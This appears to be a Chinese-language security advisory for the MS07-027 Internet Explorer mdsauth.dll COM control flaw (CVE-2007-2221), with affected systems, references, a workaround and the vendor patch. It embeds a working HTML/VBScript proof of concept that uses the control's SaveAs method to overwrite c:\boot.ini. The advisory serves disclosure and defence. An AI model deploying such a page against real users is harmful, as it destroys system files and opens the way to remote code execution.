Microsoft Windows媒体服务器mdsauth.dll控件远程代码执行漏洞(MS07-027)
发布日期:2007-05-08
更新日期:2007-05-10
受影响系统:Microsoft Internet Explorer 5.0.1 SP4
- Microsoft Windows 2000 SP4
Microsoft Internet Explorer 6.0
- Microsoft Windows XP SP2
- Microsoft Windows Server 2003 SP2
- Microsoft Windows Server 2003 SP1
Microsoft Internet Explorer 6.0 SP1
- Microsoft Windows 2000 SP4
Microsoft Internet Explorer 7.0
- Microsoft Windows XP SP2
- Microsoft Windows Vista
- Microsoft Windows Server 2003 SP2
- Microsoft Windows Server 2003 SP1
描述:
BUGTRAQ ID:
23827
CVE(CAN) ID:
CVE-2007-2221
Internet Explorer是微软发布的非常流行的操作系统。
Internet Explorer所捆绑的Windows媒体服务器中的mdsauth.dll COM对象可能会覆盖任意文件,攻击者可能通过构建特制网页来利用此漏洞,如果用户访问了该网页,则可能允许远程执行代码。成功利用此漏洞的攻击者可以完全控制受影响的系统。
<*来源:cocoruder (
frankruder@hotmail.com)
链接:
http://secunia.com/advisories/38860/
http://www.microsoft.com/technet/security/bulletin/ms07-027.mspx?pf=true
http://www.us-cert.gov/cas/techalerts/TA07-128A.html
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
<html>
<title> MS07-027 mdsauth.dll NMSA Session Description Object SaveAs control, arbitrary file modification </title>
<body>
<OBJECT id="target" classid="clsid:d4fe6227-1288-11d0-9097-00aa004254a0">
</OBJECT>
<script language="vbscript">
//next script is converted to UTF16
target.SessionDescription="MS07-027 mdsauth.dll Proof of Concept exploit"
target.SessionAuthor="Andres Tarasco Acuna"
target.SessionEmailContact="atarasco_at_gmail.com"
target.SessionURL="
http://www[.]514[.]es"
target.SaveAs "c:\boot.ini"
</script>
</body>
</html>
建议:
临时解决方法:
* 禁止在Internet Explorer中运行COM对象。
厂商补丁:
Microsoft
---------
Microsoft已经为此发布了一个安全公告(MS07-027)以及相应补丁:
MS07-027:Cumulative Security Update for Internet Explorer (931768)
链接:
http://www.microsoft.com/technet/security/bulletin/ms07-027.mspx?pf=true浏览次数:3535
严重程度:0(网友投票)